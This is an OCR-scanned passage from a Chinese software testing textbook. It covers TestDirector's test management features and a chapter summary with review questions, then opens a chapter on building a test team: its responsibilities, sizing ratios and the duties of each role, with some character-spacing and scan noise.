(3) 安排 和 执行 测试 。 创 建 测试 套件 ,分配 测试 任务 和 时 间 表 ,运行 测试 任务 和 分 析 测 
试 结果 。 其 中 Smart Scheduler 根据 测试 计划 中 创立 的 指标 对 测试 执行 监控 ,能 自动 分 辩 是 


系统 还 是 应 用 错误 ,然后 将 测试 切换 到 网 络 的 其 他 机 器 。 当 网 络 上 任何 一 台 主 机 空闲 ,测试 
任务 会 安排 到 这 台 主 机 上 ,也 就 是 能 充分 利用 时 间 、 机 器 、 网 络 资源 等 。 使 用 Graphic 
Designer 图 表 设 计 , 可 以 很 快 地 将 测试 分 类 以 满足 不 同 的 测试 目的 ,如 功能 性 测试 .负载 测 
试 . 完 整 性 测试 等 。 它 的 拖 动 功能 可 简化 设计 和 排列 在 多 个 机 器 上 运行 的 测试 ,最 终 根据 设 
定好 的 时 间 .路 径 或 其 他 测试 的 成 功 与 否 ,为 序列 测试 制定 执行 日 程 。 

(4) 缺陷 跟踪 。 从 添加 缺陷 、 检 查 新 的 缺陷 、 修 复 缺 陷 、 验 证 修改 结果 和 分 析 缺 陷 数 据 ， 
贯穿 整个 测试 过 程 。 由 于 同一 项 目 组 中 的 成 员 经 常 分 布 于 不 同 的 地 方 ,TestDirector 基于 
浏览 器 的 特征 ,使 这 些 用 户 可 以 随时 随地 查询 出 错 跟 踪 情 况 。 利 用 出 错 管 理 ,测试 人 员 只 需 
进入 一 个 URL, 就 可 汇报 和 更 新 错误 ,过 滤 整 理 错误 列表 并 作 趋势 分 析 。 

(5) 人 工 与 自动 测试 结合 。 多 数 的 测试 项 目 需 要 人 工 与 自动 测试 相 结 合 ,包括 健全 、 还 
原 和 系统 测试 。 即 使 符合 自动 测试 要 求 的 工具 ,在 大 部 分 情况 下 也 需要 人 工 操作 。 通 过 自 
动 化 切换 机 制 , 让 测试 人 员 决 定 哪些 重复 的 人 工 测 试 可 转变 为 自动 脚本 以 提高 测试 速度 ,并 
简化 这 一 转化 过 程 ,及 时 启动 测试 设计 过 程 。 

(6) 图 形 化 和 报表 输出 。TestDirector 常规 化 的 图 表 和 报告 帮助 对 数据 信息 进行 分 析 ， 
提供 直观 且 有 效 的 方法 来 收集 测试 结果 和 分 析 数 据 , 还 以 标准 的 HTML 或 Word 形式 提供 
生成 和 发 送 正式 测试 报告 。 测 试 分 析 数 据 还 可 简便 地 输入 到 标准 化 的 报告 工具 中 , 如 
Excel, ReportSmith,CrystalReports 和 其 他 类 型 的 第 三 方 工具 。 

(7) 用 户 权 限 管 理 。 将 不 同 的 用 户 分 成 用 户 组 ,默认 的 就 有 6 个 组 TDAdmin， 
QATester, Project Manager,Developer,Viewer,Customer。 拥 有 可 定制 的 用 户 界 面 和 访问 
权限 ,用 户 可 以 根据 需求 建立 特殊 的 用 户 组 。 每 一 用 户 组 ,都 拥有 属于 自己 的 权限 设置 。 

(8) 和 其 他 工具 的 集成 。TestDirector 可 以 与 LoadRunner、WinRunner 进行 有 效 的 集 
成 ,来 统一 管理 测试 用 例 .测试 脚本 、 使 用 情景 与 测试 结果 ,并且 可 以 面向 发 生 问题 的 部 分 进 
行 错误 跟踪 ,达到 与 开发 部 门 实时 交互 。 各 种 功能 或 负载 测试 工具 的 执行 信息 和 结果 都 会 
被 自动 汇集 传送 到 TestDirector 的 数据 存储 中 心 。 


小 结 


测试 工具 的 使 用 是 自动 化 测试 的 主要 特征 ,也 是 自动 化 测试 的 主要 手段 。 自 动 化 测试 ， 
有 时 不 需要 测试 工具 ,而 是 使 用 一 些 命令 .Shell 脚本 就 可 以 完成 测试 任务 ; 其 次 ,自动 化 测 
试 不 能 仅仅 局 限于 工具 本 身 , 必 须 和 测试 目标 和 测试 策略 结合 起 来 ,包括 了 自动 化 测试 的 思 
想 .流程 和 方法 ,在 流程 上 支撑 自动 化 测试 的 实现 ,在 方法 上 保证 选用 正确 的 测试 工具 。 

测试 工具 可 以 根据 不 同 的 测试 方法 对象 和 目的 进行 分 类 ,如 白 盒 测 试 工 具 、 黑 盒 测试 
工具 .单元 测试 工具 功能 测试 工具 、 负 载 测试 工具 等 。 选 择 测 试 工具 不 仅 要 遵守 一 定 的 程 
序 和 步骤 ,而 且 要 注重 测试 工具 的 特性 ,结合 自己 的 实际 应 用 特点 ,选择 合适 的 工具 。 同 时 ， 
在 测试 自动 化 实施 时 ,不 仅 要 了 解 普遍 存在 的 问题 ,克服 这 些 问 题 ,建立 合适 的 目标 ,做 好 人 
才 和 知识 等 各 方面 的 储备 ,而 且 , 要 将 自动 化 测试 纳入 整个 的 软件 开发 流程 之 中 , 找 准 切 入 
点 ,逐步 推进 自动 化 测试 的 工作 ,达到 事先 设 定 的 目标 。 

在 本 章 中 ,通过 引入 流行 的 开源 测试 工具 Selenium 和 JMeter, 着 重 介绍 了 功能 测试 工 
具 和 性 能 测试 工具 ,深入 了 解 它们 各 自 的 关键 特性 ,对 选择 合适 的 工具 和 充分 使 用 好 测试 工 


具 都 有 很 大 帮助 。 最 后 ,还 系统 地 介绍 了 安全 性 测试 工具 、 缺 陷 跟踪 管理 系统 和 其 他 测试 管 


理工 具 。 
思考 题 

1. 手工 测试 和 自动 化 测试 有 什么 主要 区 别 ? 

2. 手工 测试 和 自动 化 测试 如 何 进行 有 效 的 结合 ? 试 举 出 适当 的 例子 。 

3. 测试 自动 化 实现 中 ,关键 的 技术 是 什么 ? 

4. 选择 测试 工具 时 ,应 注意 哪些 方面 ? 

5. 谈 谈 如 何 更 好 地 开展 自动 化 测试 工作 。 

6. 用 Selenium 完成 一 个 网 站 的 主要 功能 的 测试 ,然后 用 JMeter 完成 相应 的 性 能 
测试 。 

7. 安装 和 设置 缺陷 跟踪 系统 Mantis, 然 后 建立 一 个 项 目 , 熟 悉 Mantis 的 主要 功能 。 


第 三 篇 
软件 测试 的 实践 


软件 测试 技术 和 方法 最 终 要 应 用 到 实际 工作 中 ,通过 实践 来 检验 ,也 只 有 通过 不 断 的 实 
践 来 获取 经 验 , 才 能 真正 提高 自己 的 测试 实战 能 力 。 在 软件 测试 实践 中 ,首先 遇 到 的 问题 是 
如 何 建 立 测试 团队 ,人 是 决定 的 因素 ,可 以 说 测试 团队 是 一 切 测试 工作 的 基础 ; 其 次 ,测试 
的 执行 是 运行 在 测试 环境 上 ,只 有 建立 了 正确 的 测试 环境 ,才能 保证 测试 的 结果 也 是 正确 
的 。 接 下 来 ,本 篇 还 相继 介绍 如 何 设计 和 维护 测试 用 例 、 如 何 有 效 地 报告 所 发 现 的 缺陷 及 提 
交 测试 报告 ; 最 后 ,全 面 介 绍 软件 测试 项 目 管理 的 内 容 、 过 程 及 其 特点 ,以 及 如 何 做 好 软件 
测试 项 目的 资源 、 进 度 、 风 险 和 文档 的 管理 。 

本 篇 共 6 章 : 

第 12 章 组 建 测试 团队 

第 13 章 部 署 测试 环境 

第 14 章 设计 和 维护 测试 用 例 

第 15 章 报告 所 发 现 的 缺陷 

第 16 章 软件 测试 和 质量 分 析 报告 

第 17 章 软件 测试 项 目 管理 
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组 建 测试 团队 


人 是 决定 的 因素 ,人 对 了 ,事情 就 容易 处 理 了 。 建 立 、 组 织 和 管理 
一 支 优秀 的 测试 团队 是 做 好 软件 测试 工作 的 基础 ,也 是 最 重要 的 工作 
之 一 。 要 做 好 测试 团队 的 组 织 和 管理 工作 ,会 碰 到 下 列 一 系列 问题 ; 
软件 测试 团队 的 任务 是 什么 ? 
测试 团队 在 开发 中 所 占 的 比重 有 多 大 ? 
测试 团队 由 哪些 角色 构成 ? 
每 个 角色 的 要 求 ` 工 作 范 围 和 责任 有 什么 区 别 ? 
如 何 组 建 一 支 新 的 测试 团队 ? 怎样 确定 测试 团队 的 规模 ? 
优秀 软件 测试 工程 师 应 具备 什么 样 的 素质 ? 
怎样 发 掘 、 面 试 和 聘用 优秀 的 测试 人 员 ? 
测试 人 员 的 职业 发 展 方向 在 哪里 ?如 何 进 行 培训 和 引导 ? 
通过 什么 能 够 产生 对 测试 人 员 的 激励 作用 ? 
怎样 根据 现 有 人 员 合 理 安排 工作 ? 
学 完 本 章 内 容 , 就 可 以 得 到 这 些 问 题 的 答案 。 


12.1 测试 团队 的 地 位 和 责任 


在 组 建 测试 团队 前 ,应 首先 弄 清楚 测试 团队 的 责任 ,了 解 其 在 整 
个 软件 开发 团队 中 的 应 有 地 位 , 负 起 责任 ,认真 履行 自己 的 义务 ,圆满 
完成 任务 。 软 件 测 试 不 是 软件 测试 团队 的 全 部 工作 ,只 是 测试 团队 一 
个 中 心 工作 。 围 绕 这 个 中 心 ,测试 团队 还 有 许多 其 他 的 工作 ,例如 ,人 
员 招 聘 和 考核 .团队 自身 的 建设 、 网 络 环境 的 建立 和 维护 .人 员 的 日 常 
管理 等 。 一 般 情 况 下 ,要 根据 软件 测试 团队 的 规模 和 在 公司 的 定位 来 
决定 它 的 工作 任务 责任。 


12.1.1 软件 测试 团队 的 任务 


软件 测试 团队 的 最 基本 任务 是 建立 测试 计划 、 设 计 测试 用 例 、 执 
行 测试 .评估 测试 结果 和 递交 测试 报告 等 ,并 贯穿 了 各 个 测试 阶段 。 
除 此 之 外 ,测试 团队 还 要 完成 其 他 一 些 主要 任务 ,如 阅读 和 审查 软件 


功能 说 明 书 .设计 文档 ,审查 代码 ,和 开发 人 员 、 项 目 经 理 等 进行 充分 交流 ,所 有 的 任务 都 是 
为 了 履行 测试 团队 的 责任 。 那 什么 是 软件 测试 团队 的 责任 呢 ? 

1. 软件 测试 团队 的 责任 

如 果 单 从 软件 测试 来 看 ,软件 测试 团队 是 不 能 保证 产品 质量 的 ,也 就 是 说 ,产品 的 质量 
不 是 靠 测 出 来 的 ,而 是 靠 产 品 开发 的 所 有 人 员 (需求 分 析 人 员 、 系 统 设计 人 员 ,程序 员 、 测 试 
人 员 等 ) 共 同 努 力 来 获得 的 。 测 试 人 员 的 基本 责任 应 该 是 : 

O) 发 现 软件 程序 .系统 或 产品 中 所 有 的 问题 ; 

(2) 尽早 地 发 现 问题 ; 

(3) 督促 开发 人 员 尽 快 地 解决 程序 中 的 缺陷 。 

除了 这 些 基本 责任 ,软件 测试 团队 的 责任 还 包括 : 

(1) 帮助 项 目 管理 人 员 制 定 合理 的 开发 计划 ; 

(2) 对 间 题 进行 分 析 、 分 类 总 结 和 跟踪 ,以 便 让 项 目的 管理 者 和 相关 的 负责 人 能 够 对 产 
品 当前 的 质量 情况 一 目 了 然 ， 

(3) 帮助 改善 开发 流程 、 提 高 产品 开发 效率 ; 

CA) 督促 代码 编写 具有 更 好 的 规范 性 、 易 读 性 、 可 维护 性 等 。 

2. 软件 测试 和 质量 保证 合 二 为 一 

对 于 不 少 公司 ,包括 微软 公司 ,将 软件 测试 团队 和 质量 保证 (QA) 团 队 合 在 一 起 ,或 称 
测试 小 组 ,或 称 QA 部 门 等 ,不 管 名 称 如 何 , 但 它们 的 责任 从 测试 团队 的 责任 扩张 到 整个 质 
量 保证 的 领域 。 作 为 这 样 一 个 团队 ,具有 两 个 基本 职能 : 软件 测试 和 质量 保证 ,拥有 更 多 的 
责任 : 

(1) 在 产品 的 整个 生命 周期 ,要 与 项 目 中 相关 的 部 门 (市 场 、 设 计 、 开 发 ,产品 配置 等 ) 
合作 ,负责 跟踪 和 分 析 产 品 中 的 问题 ,并 站 在 用 户 的 角度 ,对 产品 进行 全 面 测试 ,对 不 足 之 处 
提出 质疑 。 

(2) 更 重要 的 是 对 产品 开发 过 程 进行 跟踪 审查, 定义 流程 并 推广 流程 ,及 时 纠正 流程 
所 出 现 的 问题 ,不断 改 进 流程 。 

G) 分 析 竞 争 对 手 的 产品 ,了 解 自己 产品 设计 的 不 足 , 提 出 改进 的 意见 。 

把 软件 测试 和 质量 保证 两 项 职能 结合 起 来 做 ,工作 会 更 有 效 。 软 件 测试 为 质量 保证 提 
供 数据 和 质量 评判 的 依据 ,质量 保证 可 以 指导 软件 测试 的 进行 ,将 缺陷 预防 和 事后 检查 有 机 
结合 起 来 ,质量 保证 和 软件 测试 相辅相成 ,达到 良好 的 效果 。 

3. 测试 团队 的 地 位 和 其 他 团队 的 关系 

从 软件 测试 团队 的 任务 和 责任 就 可 以 看 出 软件 测试 的 重要 性 和 所 应 具有 的 地 位 。 软 件 
的 实现 有 时 会 过 到 一 些 难题 ,需要 技术 攻关 解决 。 从 技术 上 看 ,软件 设计 人 员 和 程序 员 要 求 
高 些 , 但 质量 始终 是 产品 和 企业 的 生命 力 ,质量 是 第 一 的 ,所 以 为 了 保证 质量 ,不 应 受到 过 紧 
的 进度 和 预算 的 严重 影响 ,软件 测试 人 员 应 具有 权威 性 和 应 有 的 地 位 。 

通过 了 解 开发 团队 的 构成 ,可 以 基本 确定 测试 团队 具有 什么 地 位 。 在 不 同 的 公司 中 , 开 
发 团队 的 模式 存在 较 大 的 差别 。 如 果 进 行 分 类 ,可 以 概括 为 以 下 3 类: 

(1) 以 开发 为 核心 ,测试 人 员 只 是 开发 团队 的 一 部 分 ,也 就 是 开发 团队 中 有 测试 人 员 ， 
但 没有 形成 独立 的 团队 ,如 图 12-1 所 示 。 


开发 经 理 


| 测试 人 员 开发 人 员 文档 人 员 管理 人 员 


图 12-1 以 开发 经 理 为 核心 的 组 织 模型 


(2) 以 项 目 经 理 为 核心 ,开发 小 组 和 测试 小 组 并 存 , 隶 属于 项 目 经 理 领 导 , 如 图 12-2 
所 示 。 

(3) 项 目 经 理 . 开 发 经 理 和 测试 经 理 “ 三 足 易 立 ”, 测 试 团队 具有 独立 的 、 权 威 性 的 地 位 ， 
如 图 12-3 所 示 。 


项 目 经 理 项 目 经 理 
测试 组 长 开发 组 长 文档 人 员 测试 经 理 开发 经 理 
图 12-2 以 项 目 经 理 为 核心 的 组 织 模型 图 12-3 项 目 经 理 、 测 试 经 理 和 开发 经 理 的 
= 足 易 立 的 组 织 模型 


其 次 ,测试 小 组 管理 具有 3 个 方向 : 向 内 、 向 上 和 向 外 ,这 3 个 方向 也 描述 了 测试 团队 
和 其 他 开发 团队 之 间 的 关系 : 

(1) 向 内 管理 ,就 是 确定 测试 团队 和 测试 不 同 岗位 的 工作 职责 ,招聘 团 队 成 员 、 组 织 团 
队 的 结构 ,监督 和 激励 员工 ; 

(2) 向 上 管理 ,就 是 总 结 测试 过 程 的 近况 ,向 上 级 提交 紧急 问题 以 引起 项 目 管理 团队 关 
注 , 设 定 预期 目标 ,快速 而 谨慎 地 应 对 方向 性 变化 ,参加 公司 级 的 管理 会 议 ,介绍 测试 团队 的 
业绩 和 计划 等 ; 

(3) 向 外 管理 ,报告 缺陷 并 及 时 和 其 他 团队 沟通 ,对 问题 报告 进行 分 类 、 分 析 测 试 结果 ， 
与 同 级 管理 人 员 讨 论 测试 需求 和 服务 。 


12.1.2 测试 团队 的 规模 


上 面 分 析 了 软件 测试 团队 在 软件 开发 中 的 作用 和 地 位 ,现在 来 看 看 测试 团队 在 开发 中 
所 占 的 比重 ,然后 去 确定 软件 测试 小 组 或 部 门 的 规模 。 如 果 针 对 一 个 项 目 建立 测试 小 组 , 规 
模 就 相对 比较 容易 确定 ,可 以 根据 测试 的 范围 来 评估 测试 的 工作 量 ,然后 就 知道 测试 小 组 的 
人 数 。 对 于 长 期 存在 的 一 个 测试 部 门 ,其 规模 的 确定 就 相对 比较 困难 ,要 考虑 研发 部 门 或 工 
程 部 门 的 预算 .产品 路 线 图 (Product Roadmap)、 多 个 项 目 并 行 . 重 和 至 的 影响 、 项 目 延 迟 等 各 
种 情况 。 一 般 在 考虑 各 种 因素 的 情况 下 ,还 要 加 上 10% ~ 20% FY a HH Et (Buffer) 。 

测试 团队 的 规模 可 以 从 另 一 个 角度 去 考虑 , 即 在 整个 软件 开发 部 门 所 占 的 比重 ,或 相对 
开发 人 员 (Developers ,包括 系统 设计 、 程 序 设 计 和 编程 人 员 , 虽 然 这 样 的 定义 是 不 科学 的 ， 
开发 人 员 本 来 应 该 指 所 有 参加 系统 或 产品 开发 的 技术 人 员 ,也 就 是 包括 产品 规格 需求 分 析 、 
设计 人 员 和 测试 人 员 ,但 目前 业界 普遍 认可 了 这 种 用 法 ) 所 占 的 比例 。 从 经 验 看 ,不 同 的 应 


用 ,软件 测试 人 员 和 软件 开发 人 员 的 比例 也 是 不 同 的 ,大 致 可 以 分 为 3 类 : 

(1) 像 操 作 系统 一 类 的 产品 ,对 测试 要 求 最 高 ,测试 人 员 与 开发 人 员 为 2 : 1。 因 为 操作 
系统 功能 之 间 关 系 复杂 ,支持 各 类 硬件 和 各 种 应 用 程序 接口 ; 同时 ,用 户 的 水 平 层次 千 差 万 
别 , 操 作 灵 活 , 对 操作 系统 有 更 大 的 挑战 ,而 操作 系统 要 求 自身 具有 高 可 靠 性 。 所 有 这 些 , 导 
致 其 测试 的 工作 量 非常 大 。 如 微软 公司 参与 Windows 2000 的 开发 人 员 是 900 人 ,而 测试 
人 员 达 1800 人 。 

D 像 应 用 平台 ,支撑 系统 一 类 的 产品 ,对 测试 要 求 比较 高 ,不 仅 系统 本 身 要 运行 在 不 
同 的 操作 系统 平台 上 ,还 要 支持 不 同 的 应 用 接口 和 应 用 需求 ,其 比例 可 以 低 一 些 , 测 试 人 员 
与 开发 人 员 的 比例 一 般 在 1 : 1 左右 。 

G) 对 于 特定 的 应 用 类 产品 ,由 于 用 户 对 象 清楚 .范围 小 ,甚至 对 应 用 平台 或 应 用 环境 
加 以 限制 ,所 以 测试 人 员 可 以 再 减少 些 , 但 测试 人 员 与 开发 人 员 的 比例 一 般 在 1: 2 一 1 : 4。 

测试 人 员 与 开发 人 员 的 比例 还 取决 于 代码 的 质量 。 如 果 开 发 人 员 进 行 充分 的 单元 测试 
和 集成 测试 , 交 给 测试 人 员 测 试 的 软件 包 具 有 很 高 的 质量 ,这 时 ,软件 测试 人 员 主 要 集中 在 
端 到 端的 功能 性 测试 .性 能 测试 .安全 性 测试 等 ,这 种 情况 下 测试 人 员 与 开发 人 员 的 比例 可 
以 比较 低 。 相 反 ,代码 质量 差 ,测试 人 员 要 进行 大 量 的 功能 测试 ,报告 大 量 的 缺陷 ,还 不 得 不 
进行 多 轮回 归 测 试 , 测 试 人 员 的 数量 自然 要 大 得 多 。 


12.2 测试 团队 的 构成 


当 组 建 一 个 开发 团队 时 ,要 决定 这 个 团队 应 该 有 多 少 人 参加 ,需要 什么 技术 的 人 员 参 
加 ,项 目 经 理 是 谁 ,多 少 个 开发 人 员 ,多少 个 测试 人 员 ,多 少 个 程序 经 理 。 这 些 问 题 搞 清楚 
了 ,开发 团队 就 基本 建立 起 来 了 。 组 建 一 个 测试 团队 ,也 会 碰 到 许多 类 似 的 问题 。 


12.2.1 测试 团队 的 基本 构成 


测试 团队 的 构成 从 理论 上 说 ,和 其 规模 没有 多 大 关系 ,也 就 是 人 们 常 说 的 “麻雀 虽 小 ,五 
脏 俱 全 ”这 个 道理 。 如 果 项 目 很 小 ,测试 小 组 就 一 个 人 ,那么 这 个 人 就 要 扮演 不 同 的 角色 。 
一 般 来 看 ,一 个 比较 健全 的 测试 部 门 应 该 具有 下 列 这 些 角色 : 

(1) 测试 经 理 : 人 员 招 聘 、 培 训 、 管 理 , 资 源 调配 ,测试 方法 改进 等 ; 

(2) 实验 室 管理 人 员 : 设置 .配置 和 维护 实验 室 的 测试 环境 ,主要 是 被 测试 的 服务 器 和 
网 络 环境 等 ; 

(3) 内 审 员 : 审查 流程 ,并 提出 改进 流程 的 建议 ; 建立 测试 文档 所 需 的 各 种 模板 ,检查 
软件 缺陷 描述 及 其 他 测试 报告 的 质量 等 ; 

(4) 测试 组 长 : 负责 项 目的 管理 ,测试 计划 的 制定 项目 文 档 的 审查 、 测 试用 例 的 设计 
和 审查 、 任 务 的 安排 ,和 项 目 经 理 、 开 发 组 长 的 沟通 等 ; 

(5) 测试 设计 人 员 / 资 深 测试 工程 师 : 负责 产品 设计 规格 说 明 书 的 审查 、 测 试用 例 的 设 
计 、 技 术 难题 的 解决 ,新 人 和 一 般 测 试 人 员 的 培训 和 指导 、 实 际 测 试 任务 的 执行 ; 

O 一 般 ( 初 级 ) 测 试 工程 师 : 执行 测试 用 例 和 相关 的 测试 任务 。 

对 于 比较 大 规模 的 测试 团队 ,测试 工程 师 分 为 三 个 层次 : 初级 测试 工程 师 、 测 试 工程 
师资 深 (高 级 ?测试 工程 师 等 ,同时 还 设立 自动 化 测试 工程 师 、 系 统 测 试 工程 师 和 架构 工程 


师 (Architecture) 。 而 微软 公司 分 为 两 类 : 

。 测试 (组 /部 门 ) 软 件 开 发 工程 师 (Software Development Engineer in Test, SDET) 

。 软件 测试 工程 师 (Software Test Engineer, STE) 

对 于 规模 很 小 的 测试 小 组 ,就 没 必要 设置 测试 经 理 , 只 要 设 测 试 组 长 ,测试 组 长 承担 测 
试 经 理 的 部 分 责任 ,如 参加 面试 工作 ,资源 管理 .团队 发 展 等 ,并 且 要 做 内 审 员 的 工作 ,检查 
软件 缺陷 描述 及 其 他 测试 报告 的 质量 等 。 资 深 测试 工程 师 不 仅 要 负责 设计 规格 说 明 书 的 审 
E 测试 用 例 的 设计 等 ,还 要 设置 测试 环境 , 即 承担 实验 室 管 理 人 员 的 责任 。 


12.2.2 测试 人 员 的 责任 


在 12.2.1 节 介绍 了 团队 的 基本 构成 ,为 了 更 好 地 理解 团队 中 的 每 一 位 成 员 所 起 的 作 
用 ,就 需要 清楚 地 定义 不 同 的 角色 所 应 该 承担 的 责任 。 虽 然 资深 测试 工程 师 和 (初级 ) 测 试 
工程 师 责任 不 一 样 ,但 资深 测试 工程 师 能 承担 (初级 ) 测 试 工 程 师 所 有 的 责任 ,而且 都 是 从 事 
于 技术 工作 ,设计 测试 用 例 、 开 发 测试 脚本 和 执行 各 种 测试 任务 。 

1. 初级 测试 工程 师 

初级 测试 工程 师 的 责任 比较 简单 ,还 不 具备 完全 独立 的 工作 能 力 ,需要 测试 工程 师 或 资 
深 测试 工程 师 的 指导 ,要 求 比较 低 ,主要 有 下 列 7 项 责任 : 

(1) 了 解 和 熟悉 产品 的 功能 ,特性 等 ; 

(2) 验证 产品 在 功能 ,界面 上 是 否 和 产品 规格 说 明 书 一 致 ; 

(3) 按照 要 求 ,执行 测试 用 例 ,进行 功能 测试 .验收 测试 等 ,并 能 发 现 所 暴露 的 问题 ， 

(4) 清楚 地 描述 所 发 现 的 缺陷 ; 

(5) 使 用 简单 的 测试 工具 ; 

(6) 努力 学 习 新 技术 和 软件 工程 方法 ,不 断 提 高 自己 的 专业 水 平 ; 

CT) 接受 测试 工程 师 的 指导 ,执行 主管 所 交代 的 其 他 工作 。 

2. 测试 工程 师 

测试 工程 师 的 责任 相对 多 些 ,熟悉 测试 流程 、 测 试 方法 和 技术 ,参与 自动 化 测试 ,具有 独 
立 的 工作 能 力 , 但 基本 以 执行 测试 为 主 , 主 要 责任 如 下 : 

(1) 熟悉 产品 的 功能 ,特性 ,审查 产品 规格 说 明 书 ; 

(2) 验证 产品 是 否 满足 了 规格 说 明 书 所 描述 的 需求 ; 

(3) 根据 需求 文档 或 设计 文档 ,可 以 设计 功能 方面 的 测试 用 例 ; 

(4) 根据 测试 用 例 ,执行 各 种 测试 ,发 现 所 暴露 的 问题 ; 

(5) 全 面 使 用 测试 工具 ,包括 开发 测试 脚本 ; 

(6) 安装 ,设置 简单 的 测试 环境 ; 

(7) 报告 所 发 现 的 软件 缺陷 ,审查 和 跟踪 软件 缺陷 ,直到 缺陷 关闭 ; 

(8) 编制 测试 报告 ; 

(9) 负责 对 初级 测试 工程 师 的 指导 ,执行 主管 所 交代 的 其 他 工作 。 

3. 资深 测试 工程 师 

资深 测试 工程 师 , 不 仅 具 有 良好 的 技术 .产品 分 析 能 力 ,解决 问题 能 力 ,丰富 的 测试 工作 
经 验 , 而 且 有 较 好 的 编程 .自动 化 测试 经 验 ,熟悉 测试 流程 、 测 试 方法 和 技术 ,解决 QA 工作 


中 可 能 遇 到 的 各 种 技术 问题 。 主 要 责任 如 下 : 

(1) 负责 系统 一 个 或 多 个 模块 的 测试 工作 ; 

(2) 制定 某 个 模块 或 某 个 阶段 的 测试 计划 ,测试 策略 ，; 

(3) 设计 自动 化 测试 框架 或 结构 ,开发 测试 脚本 、 必 要 的 测试 工具 ; 

(4) 设计 测试 环境 所 需 的 系统 或 网 络 结构 ,安装 ,设置 复杂 的 系统 测试 环境 ; 

(5) 熟悉 产品 的 功能 、 特 性 ,审查 产品 规格 说 明 书 ,并 提出 改进 意见 ; 

(6) 审查 系统 ,程序 设计 说 明 书 ; 提出 对 系统 模块 设计 的 改进 要 求 ; 

(7) 审查 代码 ; 

(8) 验证 产品 是 否 满足 了 规格 说 明 书 所 描述 的 需求 ; 

(9) 根据 需求 文档 或 设计 文档 ,设计 复杂 的 测试 用 例 , 包 括 性 能 测试 .故障 转移 测试 Be 
全 性 测试 等 方面 的 测试 用 例 ; 

(10) 负责 执行 性 能 测试 .故障 转移 测试 .安全 性 测试 等 

(11) 负责 对 测试 工程 师 的 指导 ,执行 主管 所 交代 的 其 他 工作 。 

4. 测试 实验 室 管 理 员 

测试 实验 室 管理 员 主 要 负责 建立 ,设置 和 维护 测试 环境 ,保证 测试 环境 的 稳定 运行 。 其 
主要 责任 如 下 : 

A) 负责 测试 环境 所 需 的 网 络 规划 和 建设 ,维护 网 络 的 正常 运行 ; 

(2) 建立 ,设置 和 维护 测试 环境 所 需 的 应 用 服务 器 或 软件 平台 ; 

(3) 对 实验 室 的 硬件 .软件 资源 进行 登记 、 分 配 和 管理 ; 

(4) 申请 所 需求 的 新 的 硬件 资源 ,软件 资源 ; 协助 有 关 部 门 进行 采购 验收; 

(5) 对 使 用 实验 室 的 硬件 软件 资源 的 权限 进行 设计 和 设置 ,保证 其 安全 性 ; 

(6) 安装 新 的 测试 平台 ,被 测试 的 系统 等 

CT) 优化 测试 环境 ,提高 测试 环境 中 网 络 、 服 务 器 和 其 他 设备 运行 的 性 能 。 

5. 软件 包 构 建 或 发 布 工 程 师 (Release Engineer) 

Release Engineer 在 QA 工作 中 或 在 整个 研发 部 门 起 着 重要 的 作用 ,负责 测试 产品 的 
上 载 , 打 包 和 发 布 ,其 主要 责任 是 : 

(1) 负责 源 程序 代码 管理 系统 (如 CVS, SourceSafe 等 ) 的 建立 .管理 和 维护 ， 

(2) 制定 Check in/Check out 等 相关 的 源 代码 控制 规则 ; 

G) 文件 名 定义 规范 ,建立 合理 的 程序 文件 结构 和 存储 目录 结构 ; 

(4) 为 程序 的 编译 、 连 接 等 软件 包 构 造 工作 ,建立 自动 处 理 文件 ; 

(5) 检查 被 测试 的 软件 包 及 其 文件 版 本 是 否 正 确 、 有 效 ; 

(6) 负责 日 常 的 软件 包 构 建 (Daily Build) ,而 且 确 保 软件 包 不 含 病毒 .不 缺少 任何 文 
件 等 ; 

(7) 软件 包 的 接收 发 送 、 存 储 和 备份 等 。 

6. 测试 组 长 

测试 组 长 一 般 具 备 资深 测试 工程 师 的 能 力 和 经 验 , 可 能 在 某 单项 技术 上 不 是 小 组 内 最 
强 的 ,但 综合 能 力 和 技术 应 该 在 小 组 内 是 最 强 的 。 测 试 组 长 的 责任 偏重 测试 项 目的 计划 R 
踪 和 管理 ,同时 负责 测试 小 组 的 团队 管理 和 发 展 。 其 主要 责任 如 下 : 


(1) 负责 一 个 独立 的 测试 项 目 ,制定 整个 项 目的 测试 计划 、 测 试 策略 ,包括 风险 评估 日 
程 表 安排 等 ; 

(2) 测试 小 组 的 管理 或 参与 测试 团队 的 管理 ,负责 测试 项 目 内 部 的 资源 和 任务 安排 ; 

(3) 熟悉 产品 的 功能 .特性 ,审查 产品 需求 定义 和 功能 规格 说 明 书 ,并 提出 改进 意见 ; 

(4) 实施 软件 测试 ,验证 产品 是 否 满足 了 规格 说 明 书 所 描述 的 需求 ; 并 对 软件 问题 进 
行 跟踪 分 析 和 报告 ,推动 测试 中 发 现 问题 及 时 合理 地 解决 

(5) 编写 项 目的 整体 测试 报告 ,保证 产品 质量 ; 

(6) 对 竞争 者 的 产品 进行 分 析 , 提 出 对 软件 的 进一步 改进 的 要 求 并 且 评 估 改 进 方案 是 
BAM, 

(7) 监督 测试 流程 的 执行 ,并 将 执行 过 程 中 所 发 现 的 问题 反馈 给 测试 经 理 或 项 目 经 理 ; 

(8) 为 团队 成 员 提供 技术 指导 ,协助 测试 经 理工 作 。 

7. 测试 经 理 

测试 经 理 ( 或 QA 经 理 ) 主 要 工作 在 团队 ,资源 和 项 目 等 各 个 方面 的 管理 上 ,不 同 于 测试 
组 长 ,测试 组 长 主要 集中 在 项 目 管理 上 ,一 般 不 负责 测试 人 员 的 招聘 ,流程 定义 等 管理 工作 ， 
而 且 偏重 技术 。 测 试 经 理 对 产品 的 质量 负 全 面 责任 ,有 责任 向 公司 最 高 管理 层 反映 软件 开 
发 过 程 中 的 管理 问题 或 产品 中 的 质量 问题 ,使 公司 能 全 面 掌 握 生 产 和 质量 状况 。 其 主要 责 
任 如 下 : 

(1) 负责 整个 测试 团队 或 部 门 的 管理 ,包括 测试 岗位 的 定义 ,组 织 团 队 结构 的 建立 和 优 
化 .团队 的 建设 和 发 展 \ 培 训 活 动 的 组 织 、 员 工 的 激励 等 ; 

(2) 负责 一 个 完整 产品 的 软件 测试 和 质量 保证 等 工作 ,包括 项 目 组 长 的 指定 、 项 目的 资 
源 的 安排 ,项 目 进度 的 跟踪 、 项 目 审查 和 总 结 等 ; 

(3) 测试 部 门 年 度 / 季 度 计 划 、 预 算 的 编写 .实施 和 评估 ; 

CA) 促进 质量 文化 的 普及 ,促进 开发 团队 的 每 位 成 员 建立 正确 的 质量 观 ; 

(5) 协助 人 力 资源 部 门 做 好 测试 人 员 的 招聘 .考核 等 方面 的 工作 ， 

